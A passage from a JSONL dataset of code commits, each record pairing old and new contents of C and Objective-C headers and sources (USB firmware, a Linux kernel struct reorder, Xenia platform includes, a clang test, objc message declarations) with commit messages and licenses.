argv[0], 128);\n#endif    \n    \/* Pass argv[0] to the Pythin interpreter *\/\n    Py_SetProgramName(name);\n\n    \/* Initialize the Python interpreter *\/\n    Py_Initialize();\n\n    \/* Add a static module *\/\n#if PY_MAJOR_VERSION >= 3\n    PyInit_core();\n#else\n    initcore();\n#endif\n}\n","subject":"Fix linker error by changing init function names to represent module names","message":"Fix linker error by changing init function names to represent module names\n","lang":"C","license":"mit","repos":"FrostadResearchGroup\/IDS,FrostadResearchGroup\/IDS"}
{"commit":"a0cf73a4f8db9c8c292831902ec2ea60d0c58cae","old_file":"firmware\/usb.h","new_file":"firmware\/usb.h","old_contents":"#ifndef USB_H\n#define USB_H\n\nvoid setup_usb();\nvoid usb_interrupt_handler();\n\n#endif\n","new_contents":"#ifndef USB_H\n#define USB_H\n\n#define PHYS_ADDR(VIRTUAL_ADDR)  (unsigned int)(VIRTUAL_ADDR)\n\n#define EP0_BUFLEN 8\n#define EP1_BUFLEN 8\n\n#define USB_PID_SETUP                   0x0d\n\n#define USB_REQ_GET_DESCRIPTOR          0x06\n#define USB_GET_DEVICE_DESCRIPTOR       0x01\n#define USB_GET_CONFIG_DESCRIPTOR       0x02\n#define USB_GET_STRING_DESCRIPTOR       0x03\n\n#define USB_REQ_GET_STATUS              0x00\n\n#define USB_REQ_SET_ADDRESS             0x05\n#define USB_REQ_SET_CONFIGURATION       0x09\n\nvoid reset_usb (  );\nvoid usb_interrupt_handler (  );\nbool usb_in_endpoint_busy ( uint8_t ep );\nvoid usb_arm_in_transfert (  );\n#endif\n","subject":"Add macros for setting Endpoint buffers length,","message":"Add macros for setting Endpoint buffers length,\n\nDefine some USB magic values\n\nExport two fonctions for the main loop\n","lang":"C","license":"mit","repos":"macareux-labs\/hyg-usb_firmware,macareux-labs\/hyg-usb_firmware"}
{"commit":"63eaf55f3ec45366e1ef5dab02f1d98a096d1ea2","old_file":"dashboard.h","new_file":"dashboard.h","old_contents":"#ifndef DASHBOARD_H\n#define DASHBOARD_H\n\n#include <sys\/types.h>\n\n#include \"src\/process\/process.h\"\n#include \"src\/system\/sys_stats.h\"\n\n\ntypedef struct {\n    int max_x;\n    int max_y;\n    int prev_x;\n    int prev_y;\n    char *fieldbar;\n    sysaux *system;\n    ps_node *process_list;\n    Tree *process_tree;\n} Board;    \n\nvoid print_usage(void);\n\nchar set_sort_option(char *opt);\n\nvoid dashboard_mainloop(char attr_sort);\n\nvoid update_process_stats(Tree *ps_tree, ps_node *ps, sysaux *sys);\n \nstatic int calculate_ln_diff(Board *board, int ln, int prev_ln);\n\nBoard *init_board(void);\n\nvoid free_board(Board *board);\n\n#endif\n","new_contents":"#ifndef DASHBOARD_H\n#define DASHBOARD_H\n\n#include <sys\/types.h>\n\n#include \"src\/process\/process.h\"\n#include \"src\/system\/sys_stats.h\"\n\n\ntypedef struct {\n    int max_x;\n    int max_y;\n    int prev_x;\n    int prev_y;\n    char *fieldbar;\n    sysaux *system;\n    ps_node *process_list;\n    Tree *process_tree;\n} Board;    \n\nvoid print_usage(void);\n\nchar set_sort_option(char *opt);\n\nvoid dashboard_mainloop(char attr_sort);\n\nvoid update_process_stats(Tree *ps_tree, ps_node *ps, sysaux *sys);\n \nBoard *init_board(void);\n\nvoid free_board(Board *board);\n\n#endif\n","subject":"Remove static declaration of line diff","message":"Remove static declaration of line diff\n","lang":"C","license":"mit","repos":"tijko\/dashboard"}
{"commit":"c24576e6e6c440898788d5874f80e8ca74316f08","old_file":"src\/public\/WRLDRoutingService.h","new_file":"src\/public\/WRLDRoutingService.h","old_contents":"#pragma once\n\n#import \"WRLDRoutingQuery.h\"\n#import \"WRLDRoutingQueryOptions.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/*!\n A service which allows you to find routes between locations. Created by the createRoutingService\n method of the WRLDMapView object.\n\n This is an Objective-c interface to the WRLD Routing REST API (https:\/\/github.com\/wrld3d\/wrld-routing-api).\n *\/\n\n@interface WRLDRoutingService : NSObject\n\n\/*!\n Asynchronously query the routing service.\n\n The results of the query will be passed\n as a WRLDRoutingQueryResponse to the routingQueryDidComplete method in WRLDMapViewDelegate.\n\n @param options The parameters of the routing query.\n @returns A handle to the ongoing query, which can be used to cancel it.\n *\/\n- (WRLDRoutingQuery*)findRoutes:(WRLDRoutingQueryOptions*)options;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"#pragma once\n\n#import \"WRLDRoutingQuery.h\"\n#import \"WRLDRoutingQueryOptions.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/*!\n A service which allows you to find routes between locations. Created by the createRoutingService\n method of the WRLDMapView object.\n\n This is an Objective-c interface to the [WRLD Routing REST API](https:\/\/github.com\/wrld3d\/wrld-routing-api).\n *\/\n\n@interface WRLDRoutingService : NSObject\n\n\/*!\n Asynchronously query the routing service.\n\n The results of the query will be passed\n as a WRLDRoutingQueryResponse to the routingQueryDidComplete method in WRLDMapViewDelegate.\n\n @param options The parameters of the routing query.\n @returns A handle to the ongoing query, which can be used to cancel it.\n *\/\n- (WRLDRoutingQuery*)findRoutes:(WRLDRoutingQueryOptions*)options;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Fix for [MPLY-9800]. Doc string didn't link correctly. Buddy: Sam A.","message":"Fix for [MPLY-9800]. Doc string didn't link correctly.\nBuddy: Sam A.\n","lang":"C","license":"bsd-2-clause","repos":"wrld3d\/ios-api,wrld3d\/ios-api,wrld3d\/ios-api,wrld3d\/ios-api"}
{"commit":"0dbf3c5578ad9334c98a2099c2bdac68ebeab933","old_file":"pratica-07\/soluc.c","new_file":"pratica-07\/soluc.c","old_contents":"","new_contents":"#include \"local.h\"\n\nfloat soluc(float x, float y)\n{\n\n  float r;\n  r = sqrt(x * x + y * y);\n  return r;\n\n}\n\nfloat radians_degrees(float degrees)\n{\n\n  return degrees*180\/PI;\n\n}\n\nfloat degrees_radians(float radians)\n{\n\n  return radians*PI\/180;\n\n}\n","subject":"Add funcoes para converter graus <-> rad","message":"Add funcoes para converter graus <-> rad\n","lang":"C","license":"mit","repos":"tonussi\/freezing-dubstep,tonussi\/freezing-dubstep,tonussi\/freezing-dubstep"}
{"commit":"af6a25f0e1ec0265c267e6ee4513925eaba6d0ed","old_file":"arch\/x86\/include\/asm\/mmu.h","new_file":"arch\/x86\/include\/asm\/mmu.h","old_contents":"#ifndef _ASM_X86_MMU_H\n#define _ASM_X86_MMU_H\n\n#include <linux\/spinlock.h>\n#include <linux\/mutex.h>\n\n\/*\n * The x86 doesn't have a mmu context, but\n * we put the segment information here.\n *\/\ntypedef struct {\n\tvoid *ldt;\n\tint size;\n\tstruct mutex lock;\n\tvoid *vdso;\n\n#ifdef CONFIG_X86_64\n\t\/* True if mm supports a task running in 32 bit compatibility mode. *\/\n\tunsigned short ia32_compat;\n#endif\n\n} mm_context_t;\n\n#ifdef CONFIG_SMP\nvoid leave_mm(int cpu);\n#else\nstatic inline void leave_mm(int cpu)\n{\n}\n#endif\n\n#endif \/* _ASM_X86_MMU_H *\/\n","new_contents":"#ifndef _ASM_X86_MMU_H\n#define _ASM_X86_MMU_H\n\n#include <linux\/spinlock.h>\n#include <linux\/mutex.h>\n\n\/*\n * The x86 doesn't have a mmu context, but\n * we put the segment information here.\n *\/\ntypedef struct {\n\tvoid *ldt;\n\tint size;\n\n#ifdef CONFIG_X86_64\n\t\/* True if mm supports a task running in 32 bit compatibility mode. *\/\n\tunsigned short ia32_compat;\n#endif\n\n\tstruct mutex lock;\n\tvoid *vdso;\n} mm_context_t;\n\n#ifdef CONFIG_SMP\nvoid leave_mm(int cpu);\n#else\nstatic inline void leave_mm(int cpu)\n{\n}\n#endif\n\n#endif \/* _ASM_X86_MMU_H *\/\n","subject":"Reorder mm_context_t to remove x86_64 alignment padding and thus shrink mm_struct","message":"x86: Reorder mm_context_t to remove x86_64 alignment padding and thus shrink mm_struct\n\nReorder mm_context_t to remove alignment padding on 64 bit\nbuilds shrinking its size from 64 to 56 bytes.\n\nThis allows mm_struct to shrink from 840 to 832 bytes, so using\none fewer cache lines, and getting more objects per slab when\nusing slub.\n\nslabinfo mm_struct reports\nbefore :-\n\n    Sizes (bytes)     Slabs\n    -----------------------------------\n    Object :     840  Total  :       7\n    SlabObj:     896  Full   :       1\n    SlabSiz:   16384  Partial:       4\n    Loss   :      56  CpuSlab:       2\n    Align  :      64  Objects:      18\n\nafter :-\n\n    Sizes (bytes)     Slabs\n    ----------------------------------\n    Object :     832  Total  :       7\n    SlabObj:     832  Full   :       1\n    SlabSiz:   16384  Partial:       4\n    Loss   :       0  CpuSlab:       2\n    Align  :      64  Objects:      19\n\nSigned-off-by: Richard Kennedy <320bca71fc381a4a025636043ca86e734e31cf8b@rsk.demon.co.uk>\nCc: 3d378e0efa9324a1bec5e3bea0c8445f2cc384d0@start.ca\nCc: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>\nCc: Andrew Morton <5c1e68b099950c134891f0b6e179498a8ebe9cf9@linux-foundation.org>\nCc: Pekka Enberg <add4fcd06328a394f0ad91feda7ee057316dc5ed@kernel.org>\nLink: f96f24409da09dd8fdaa8f3abbce8686f58ad694@castor.rsk\nSigned-off-by: Ingo Molnar <9dbbbf0688fedc85ad4da37637f1a64b8c718ee2@elte.hu>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"a8053f72e54e41011cad782cb37801dc26af6251","old_file":"src\/xenia\/base\/platform_linux.h","new_file":"src\/xenia\/base\/platform_linux.h","old_contents":"\/**\n ******************************************************************************\n * Xenia : Xbox 360 Emulator Research Project                                 *\n ******************************************************************************\n * Copyright 2015 Ben Vanik. All rights reserved.                             *\n * Released under the BSD license - see LICENSE in the root for more details. *\n ******************************************************************************\n *\/\n\n#ifndef XENIA_BASE_PLATFORM_X11_H_\n#define XENIA_BASE_PLATFORM_X11_H_\n\n\/\/ NOTE: if you're including this file it means you are explicitly depending\n\/\/ on Linux headers. Including this file outside of linux platform specific\n\/\/ source code will break portability\n\n#include \"xenia\/base\/platform.h\"\n\n\/\/ Xlib is used only for GLX interaction, the window management and input\n\/\/ events are done with gtk\/gdk\n#include <X11\/Xlib.h>\n#include <X11\/Xutil.h>\n#include <X11\/Xos.h>\n\n\/\/Used for window management. Gtk is for GUI and wigets, gdk is for lower\n\/\/level events like key presses, mouse events, etc\n#include <gtk\/gtk.h>\n#include <gdk\/gdk.h>\n\n#endif  \/\/ XENIA_BASE_PLATFORM_X11_H_\n","new_contents":"\/**\n ******************************************************************************\n * Xenia : Xbox 360 Emulator Research Project                                 *\n ******************************************************************************\n * Copyright 2015 Ben Vanik. All rights reserved.                             *\n * Released under the BSD license - see LICENSE in the root for more details. *\n ******************************************************************************\n *\/\n\n#ifndef XENIA_BASE_PLATFORM_X11_H_\n#define XENIA_BASE_PLATFORM_X11_H_\n\n\/\/ NOTE: if you're including this file it means you are explicitly depending\n\/\/ on Linux headers. Including this file outside of linux platform specific\n\/\/ source code will break portability\n\n#include \"xenia\/base\/platform.h\"\n\n\/\/ Xlib\/Xcb is used only for GLX\/Vulkan interaction, the window management\n\/\/ and input events are done with gtk\/gdk\n#include <X11\/Xlib.h>\n#include <X11\/Xutil.h>\n#include <X11\/Xos.h>\n#include <xcb\/xcb.h>\n\n\/\/Used for window management. Gtk is for GUI and wigets, gdk is for lower\n\/\/level events like key presses, mouse events, etc\n#include <gtk\/gtk.h>\n#include <gdk\/gdk.h>\n\n#endif  \/\/ XENIA_BASE_PLATFORM_X11_H_\n","subject":"Add xcb headers to linux platform, needed for vulkan","message":"Add xcb headers to linux platform, needed for vulkan\n","lang":"C","license":"bsd-3-clause","repos":"sephiroth99\/xenia,sephiroth99\/xenia,sephiroth99\/xenia"}
{"commit":"a2b4a2dcb9d2b009347a838c6f2c3895eb7e23b9","old_file":"src\/graphics\/buffer_lock_manager.h","new_file":"src\/graphics\/buffer_lock_manager.h","old_contents":"#ifndef SRC_GRAPHICS_BUFFER_LOCK_MANAGER_H_\n\n#define SRC_GRAPHICS_BUFFER_LOCK_MANAGER_H_\n\n#include <vector>\n#include \".\/gl.h\"\n\nnamespace Graphics\n{\n\nstruct BufferRange\n{\n  size_t startOffset;\n  size_t length;\n\n  size_t endOffset() const\n  {\n    return startOffset + length;\n  }\n\n  bool overlaps(const BufferRange &other) const\n  {\n    return startOffset < other.endOffset() && other.startOffset < endOffset();\n  }\n};\n\nstruct BufferLock\n{\n  BufferRange range;\n  GLsync syncObject;\n};\n\n\/**\n * \\brief\n *\n *\n *\/\nclass BufferLockManager\n{\n public:\n  explicit BufferLockManager(bool runUpdatesOnCPU);\n  ~BufferLockManager();\n\n  void initialize(Gl *gl);\n\n  void waitForLockedRange(size_t lockBeginBytes, size_t lockLength);\n  void lockRange(size_t lockBeginBytes, size_t lockLength);\n\n private:\n  void wait(GLsync *syncObject);\n  void cleanup(BufferLock *bufferLock);\n\n  std::vector<BufferLock> bufferLocks;\n  bool runUpdatesOnCPU;\n  Gl *gl;\n};\n\n}  \/\/ namespace Graphics\n\n#endif  \/\/ SRC_GRAPHICS_BUFFER_LOCK_MANAGER_H_\n","new_contents":"#ifndef SRC_GRAPHICS_BUFFER_LOCK_MANAGER_H_\n\n#define SRC_GRAPHICS_BUFFER_LOCK_MANAGER_H_\n\n#include <vector>\n#include \".\/gl.h\"\n\nnamespace Graphics\n{\n\n\/**\n * \\brief Encapsulates a locked buffer range\n *\n * It stores the start offset in the buffer and the length of the range.\n * The end offset can be retrieved with #endOffset().\n *\n * The method #overlaps() checks if the range overlaps with the\n * given range.\n *\/\nstruct BufferRange\n{\n  size_t startOffset;\n  size_t length;\n\n  size_t endOffset() const\n  {\n    return startOffset + length;\n  }\n\n  bool overlaps(const BufferRange &other) const\n  {\n    return startOffset < other.endOffset() && other.startOffset < endOffset();\n  }\n};\n\n\/**\n * \\brief Lock on a buffer determined by \\link BufferRange range \\endlink and\n * a sync object\n *\/\nstruct BufferLock\n{\n  BufferRange range;\n  GLsync syncObject;\n};\n\n\/**\n * \\brief Manages locks for a buffer\n *\n * Locks can be acquired with #lockRange() and #waitForLockedRange() waits until\n * the range is free again.\n *\/\nclass BufferLockManager\n{\n public:\n  explicit BufferLockManager(bool runUpdatesOnCPU);\n  ~BufferLockManager();\n\n  void initialize(Gl *gl);\n\n  void waitForLockedRange(size_t lockBeginBytes, size_t lockLength);\n  void lockRange(size_t lockBeginBytes, size_t lockLength);\n\n private:\n  void wait(GLsync *syncObject);\n  void cleanup(BufferLock *bufferLock);\n\n  std::vector<BufferLock> bufferLocks;\n  bool runUpdatesOnCPU;\n  Gl *gl;\n};\n\n}  \/\/ namespace Graphics\n\n#endif  \/\/ SRC_GRAPHICS_BUFFER_LOCK_MANAGER_H_\n","subject":"Add Documentation for BufferLockManger, BufferRange and BufferLock.","message":"Add Documentation for BufferLockManger, BufferRange and BufferLock.\n","lang":"C","license":"mit","repos":"Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller"}
{"commit":"229ee65b7c5274857b4bb320231c46dc4c9e828a","old_file":"pyobjus\/_runtime.h","new_file":"pyobjus\/_runtime.h","old_contents":"#include <objc\/runtime.h>\n#include <objc\/message.h>\n#include <stdio.h>\n#include <dlfcn.h>\n#include <string.h>\n\nstatic void pyobjc_internal_init() {\t\n\n    static void *foundation = NULL;\n    if ( foundation == NULL ) {\n        foundation = dlopen(\n        \"\/Groups\/System\/Library\/Frameworks\/Foundation.framework\/Versions\/Current\/Foundation\", RTLD_LAZY);\n        if ( foundation == NULL ) {\n            printf(\"Got dlopen error on Foundation\\n\");\n            return;\n        }\n    }\n}\n\nid allocAndInitAutoreleasePool() {\n  Class NSAutoreleasePoolClass = (Class)objc_getClass(\"NSAutoreleasePool\");\n  id pool = class_createInstance(NSAutoreleasePoolClass, 0);\n  return objc_msgSend(pool, sel_registerName(\"init\"));\n}\n\nvoid drainAutoreleasePool(id pool) {\n  (void)objc_msgSend(pool, sel_registerName(\"drain\"));\n}\n\n","new_contents":"#include <objc\/runtime.h>\n#include <objc\/message.h>\n#include <stdio.h>\n#include <dlfcn.h>\n#include <string.h>\n\nstatic void pyobjc_internal_init() {\t\n\n    static void *foundation = NULL;\n    if ( foundation == NULL ) {\n        foundation = dlopen(\n        \"\/System\/Library\/Frameworks\/Foundation.framework\/Versions\/Current\/Foundation\", RTLD_LAZY);\n        if ( foundation == NULL ) {\n            foundation = dlopen(\n            \"\/Groups\/System\/Library\/Frameworks\/Foundation.framework\/Versions\/Current\/Foundation\", RTLD_LAZY);\n            if ( foundation == NULL ) {\n                printf(\"Got dlopen error on Foundation\\n\");\n                return;\n            }\n        }\n    }\n}\n\nid allocAndInitAutoreleasePool() {\n  Class NSAutoreleasePoolClass = (Class)objc_getClass(\"NSAutoreleasePool\");\n  id pool = class_createInstance(NSAutoreleasePoolClass, 0);\n  return objc_msgSend(pool, sel_registerName(\"init\"));\n}\n\nvoid drainAutoreleasePool(id pool) {\n  (void)objc_msgSend(pool, sel_registerName(\"drain\"));\n}\n\n","subject":"Add fallback path for Foundation lookup","message":"Add fallback path for Foundation lookup\n","lang":"C","license":"mit","repos":"kivy\/pyobjus,kivy\/pyobjus,kivy\/pyobjus"}
{"commit":"bd345a5053f310aaeefcd9653470a6fbca847340","old_file":"Pod\/Classes\/Internal\/STMRecordingOverlayViewController.h","new_file":"Pod\/Classes\/Internal\/STMRecordingOverlayViewController.h","old_contents":"\/\/\n\/\/  STMRecordingOverlayViewController.h\n\/\/  Pods\n\/\/\n\/\/  Created by Tyler Clemens on 9\/14\/15.\n\/\/\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"VoiceCmdView.h\"\n\n@protocol STMRecordingOverlayDelegate;\n\n@interface STMRecordingOverlayViewController : UIViewController<VoiceCmdViewDelegate, SendShoutDelegate>\n@property (atomic) id<STMRecordingOverlayDelegate> delegate;\n@property double MaxListeningSeconds;\n@property NSString *tags;\n@property NSString *topic;\n\n-(void)userRequestsStopListening;\n-(id)initWithTags:(NSString *)tags andTopic:(NSString *)topic;\n@end\n\n@protocol STMRecordingOverlayDelegate <NSObject>\n\n\n-(void)shoutCreated:(STMShout*)shout error:(NSError*)err;\n-(void)overlayClosed:(BOOL)bDismissed;\n@end\n","new_contents":"\/\/\n\/\/  STMRecordingOverlayViewController.h\n\/\/  Pods\n\/\/\n\/\/  Created by Tyler Clemens on 9\/14\/15.\n\/\/\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"VoiceCmdView.h\"\n\n@protocol STMRecordingOverlayDelegate <CreateShoutDelegate>\n\n-(void)overlayClosed:(BOOL)bDismissed;\n\n@end\n\n@interface STMRecordingOverlayViewController : UIViewController<VoiceCmdViewDelegate, SendShoutDelegate>\n@property (atomic) id<STMRecordingOverlayDelegate> delegate;\n@property double MaxListeningSeconds;\n@property NSString *tags;\n@property NSString *topic;\n\n-(void)userRequestsStopListening;\n-(id)initWithTags:(NSString *)tags andTopic:(NSString *)topic;\n\n@end\n","subject":"Refactor STMRecordingOverlayDelegate to inherit from CreateShoutDelegate","message":"Refactor STMRecordingOverlayDelegate to inherit from CreateShoutDelegate\n","lang":"C","license":"mit","repos":"ShoutToMe\/stm-sdk-ios,ShoutToMe\/stm-sdk-ios"}
{"commit":"9173e91787fdce959346fd338c1e668f6d11e18f","old_file":"test\/Sema\/builtin-object-size.c","new_file":"test\/Sema\/builtin-object-size.c","old_contents":"\/\/ RUN: clang -fsyntax-only -verify %s\n\/\/ RUN: clang -fsyntax-only -triple x86_64-apple-darwin9 -verify %s\n\nint a[10];\n\nint f0() {\n  return __builtin_object_size(&a); \/\/ expected-error {{too few arguments to function}}\n}\nint f1() {\n  return (__builtin_object_size(&a, 0) + \n          __builtin_object_size(&a, 1) + \n          __builtin_object_size(&a, 2) + \n          __builtin_object_size(&a, 3));\n}\nint f2() {\n  return __builtin_object_size(&a, -1); \/\/ expected-error {{argument should be a value from 0 to 3}}\n}\nint f3() {\n  return __builtin_object_size(&a, 4); \/\/ expected-error {{argument should be a value from 0 to 3}}\n}\n\n\n\/\/ rdar:\/\/6252231 - cannot call vsnprintf with va_list on x86_64\nvoid f4(const char *fmt, ...) {\n __builtin_va_list args;\n __builtin___vsnprintf_chk (0, 42, 0, 11, fmt, args);\n}\n\n","new_contents":"\/\/ RUN: clang -fsyntax-only -verify %s &&\n\/\/ RUN: clang -fsyntax-only -triple x86_64-apple-darwin9 -verify %s\n\nint a[10];\n\nint f0() {\n  return __builtin_object_size(&a); \/\/ expected-error {{too few arguments to function}}\n}\nint f1() {\n  return (__builtin_object_size(&a, 0) + \n          __builtin_object_size(&a, 1) + \n          __builtin_object_size(&a, 2) + \n          __builtin_object_size(&a, 3));\n}\nint f2() {\n  return __builtin_object_size(&a, -1); \/\/ expected-error {{argument should be a value from 0 to 3}}\n}\nint f3() {\n  return __builtin_object_size(&a, 4); \/\/ expected-error {{argument should be a value from 0 to 3}}\n}\n\n\n\/\/ rdar:\/\/6252231 - cannot call vsnprintf with va_list on x86_64\nvoid f4(const char *fmt, ...) {\n __builtin_va_list args;\n __builtin___vsnprintf_chk (0, 42, 0, 11, fmt, args);\n}\n\n","subject":"Append the test runs with '&&'.","message":"Append the test runs with '&&'.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@57085 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"1bf280c8b908c724a08260f785e60899f891e35b","old_file":"Tests\/AsyncTesting.h","new_file":"Tests\/AsyncTesting.h","old_contents":"\/\/\n\/\/  AsyncTesting.h\n\/\/  ContentfulSDK\n\/\/\n\/\/  Created by Boris Bügling on 05\/03\/14.\n\/\/\n\/\/\n\n\/\/ Set the flag for a block completion handler\n#define StartBlock() __block BOOL waitingForBlock = YES\n\n\/\/ Set the flag to stop the loop\n#define EndBlock() waitingForBlock = NO\n\n\/\/ Wait and loop until flag is set\n#define WaitUntilBlockCompletes() WaitWhile(waitingForBlock)\n\n\/\/ Macro - Wait for condition to be NO\/false in blocks and asynchronous calls\n#define WaitWhile(condition) \\\ndo { \\\nNSDate* __startTime = [NSDate date]; \\\nwhile(condition) { \\\n[[NSRunLoop currentRunLoop] runMode:NSDefaultRunLoopMode beforeDate:[NSDate dateWithTimeIntervalSinceNow:0.1]]; \\\nif ([[NSDate date] timeIntervalSinceDate:__startTime] > 20.0) { \\\nXCTAssertFalse(true, @\"Asynchronous test timed out.\"); \\\nbreak; \\\n} \\\n} \\\n} while(0)\n","new_contents":"\/\/\n\/\/  AsyncTesting.h\n\/\/  ContentfulSDK\n\/\/\n\/\/  Created by Boris Bügling on 05\/03\/14.\n\/\/\n\/\/\n\n\/\/ Set the flag for a block completion handler\n#define StartBlock() __block BOOL waitingForBlock = YES\n\n\/\/ Set the flag to stop the loop\n#define EndBlock() waitingForBlock = NO\n\n\/\/ Wait and loop until flag is set\n#define WaitUntilBlockCompletes() WaitWhile(waitingForBlock)\n\n\/\/ Macro - Wait for condition to be NO\/false in blocks and asynchronous calls\n#define WaitWhile(condition) \\\ndo { \\\nNSDate* __startTime = [NSDate date]; \\\nwhile(condition) { \\\n[[NSRunLoop currentRunLoop] runMode:NSDefaultRunLoopMode beforeDate:[NSDate dateWithTimeIntervalSinceNow:0.1]]; \\\nif ([[NSDate date] timeIntervalSinceDate:__startTime] > 30.0) { \\\nXCTAssertFalse(true, @\"Asynchronous test timed out.\"); \\\nbreak; \\\n} \\\n} \\\n} while(0)\n","subject":"Increase the asynchronous testing timeout","message":"Increase the asynchronous testing timeout\n\nHopefully will resolve Travis issues.\n","lang":"C","license":"mit","repos":"contentful\/contentful.objc,davidmdavis\/contentful.objc,contentful\/contentful.objc,davidmdavis\/contentful.objc,contentful\/contentful.objc,davidmdavis\/contentful.objc"}
{"commit":"d7f50666d97c89c03e2ab8679a7c20523e14b11d","old_file":"objc\/message.h","new_file":"objc\/message.h","old_contents":"","new_contents":"#ifndef _OBJC_MESSAGE_H_\n#define _OBJC_MESSAGE_H_\n\n#if defined(__x86_64) || defined(__i386) || defined(__arm__) || \\\n\tdefined(__mips_n64) || defined(__mips_n32)\n\/**\n * Standard message sending function.  This function must be cast to the\n * correct types for the function before use.  The first argument is the\n * receiver and the second the selector.\n *\n * Note that this function is not available on all architectures.  For a more\n * portable solution to sending arbitrary messages, consider using\n * objc_msg_lookup_sender() and then calling the returned IMP directly.\n *\n * This version of the function is used for all messages that return either an\n * integer, a pointer, or a small structure value that is returned in\n * registers.  Be aware that calling conventions differ between operating\n * systems even within the same architecture, so take great care if using this\n * function for small (two integer) structures.\n *\/\nid objc_msgSend(id self, SEL _cmd, ...);\n\/**\n * Standard message sending function.  This function must be cast to the\n * correct types for the function before use.  The first argument is the\n * receiver and the second the selector.\n *\n * Note that this function is not available on all architectures.  For a more\n * portable solution to sending arbitrary messages, consider using\n * objc_msg_lookup_sender() and then calling the returned IMP directly.\n *\n * This version of the function is used for all messages that return a\n * structure that is not returned in registers.  Be aware that calling\n * conventions differ between operating systems even within the same\n * architecture, so take great care if using this function for small (two\n * integer) structures.\n *\/\n#ifdef __cplusplus\nid objc_msgSend_stret(id self, SEL _cmd, ...);\n#else\nvoid objc_msgSend_stret(id self, SEL _cmd, ...);\n#endif\n\/**\n * Standard message sending function.  This function must be cast to the\n * correct types for the function before use.  The first argument is the\n * receiver and the second the selector.\n *\n * Note that this function is not available on all architectures.  For a more\n * portable solution to sending arbitrary messages, consider using\n * objc_msg_lookup_sender() and then calling the returned IMP directly.\n *\n * This version of the function is used for all messages that return floating\n * point values.\n *\/\nlong double objc_msgSend_fpret(id self, SEL _cmd, ...);\n\n#endif\n\n#endif \/\/_OBJC_MESSAGE_H_\n","subject":"Fix clang's stupid warning to work around a bug in OS X headers...","message":"Fix clang's stupid warning to work around a bug in OS X headers...\n\n\n\ngit-svn-id: f6517e426f81db5247881cd92f7386583ace04fa@35962 72102866-910b-0410-8b05-ffd578937521\n","lang":"C","license":"mit","repos":"skudryas\/gnustep-libobjc2,crontab\/libobjc2,crontab\/libobjc2,skudryas\/gnustep-libobjc2"}
{"commit":"05e3fd2ae7f1d03eeb8338639d0380482d3949f1","old_file":"lib\/radio.h","new_file":"lib\/radio.h","old_contents":"#ifndef RADIO_H_INCLUDED\n#define RADIO_H_INCLUDED\n\n#include <stdint.h>\n\n#define RADIO_PACKET_MAX_LEN 64\n#define RADIO_PACKET_BUFFER_SIZE 1\n\ntypedef enum\n{\n    PACKET_RECEIVED,\n} radio_evt_type_t;\n\ntypedef struct\n{\n    uint8_t len;\n    uint8_t data[RADIO_PACKET_MAX_LEN];\n} radio_packet_t;\n\ntypedef struct\n{\n   radio_evt_type_t type;\n   union\n   {\n       radio_packet_t packet;\n   };\n} radio_evt_t;\n\ntypedef void (radio_evt_handler_t)(radio_evt_t * evt);\n\nuint32_t radio_init(radio_evt_handler_t * evt_handler);\nuint32_t radio_send(radio_packet_t * packet);\nuint32_t radio_receive_start(void);\n\n#endif\n","new_contents":"#ifndef RADIO_H_INCLUDED\n#define RADIO_H_INCLUDED\n\n#include <stdint.h>\n\n#define RADIO_PACKET_MAX_LEN 64\n#define RADIO_PACKET_BUFFER_SIZE 1\n\ntypedef enum\n{\n    PACKET_RECEIVED,\n} radio_evt_type_t;\n\ntypedef struct\n{\n    uint8_t len;\n    struct __attribute__((packed))\n    {\n        uint8_t padding : 7;\n        uint8_t ack : 1;\n    } flags;\n    uint8_t data[RADIO_PACKET_MAX_LEN];\n} radio_packet_t;\n\ntypedef struct\n{\n   radio_evt_type_t type;\n   union\n   {\n       radio_packet_t packet;\n   };\n} radio_evt_t;\n\ntypedef void (radio_evt_handler_t)(radio_evt_t * evt);\n\nuint32_t radio_init(radio_evt_handler_t * evt_handler);\nuint32_t radio_send(radio_packet_t * packet);\nuint32_t radio_receive_start(void);\n\n#endif\n","subject":"Add flag byte to packet structure.","message":"Add flag byte to packet structure.\n","lang":"C","license":"bsd-3-clause","repos":"hlnd\/nrf51-simple-radio,hlnd\/nrf51-simple-radio"}
